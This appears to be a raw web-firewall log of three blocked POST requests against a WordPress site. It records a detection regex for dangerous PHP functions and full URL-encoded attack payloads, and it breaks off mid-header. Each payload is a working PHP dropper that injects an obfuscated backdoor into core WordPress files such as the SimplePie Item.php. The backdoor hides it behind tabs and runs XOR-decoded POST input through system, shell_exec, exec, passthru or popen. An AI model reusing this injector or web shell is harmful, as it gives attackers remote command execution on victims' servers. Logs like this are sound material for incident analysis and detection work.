["2026-05-12 09:51:24","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5331\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIaHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nVu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:27","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:5317\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvozjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nnl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:29","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Fv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5317\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEaLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 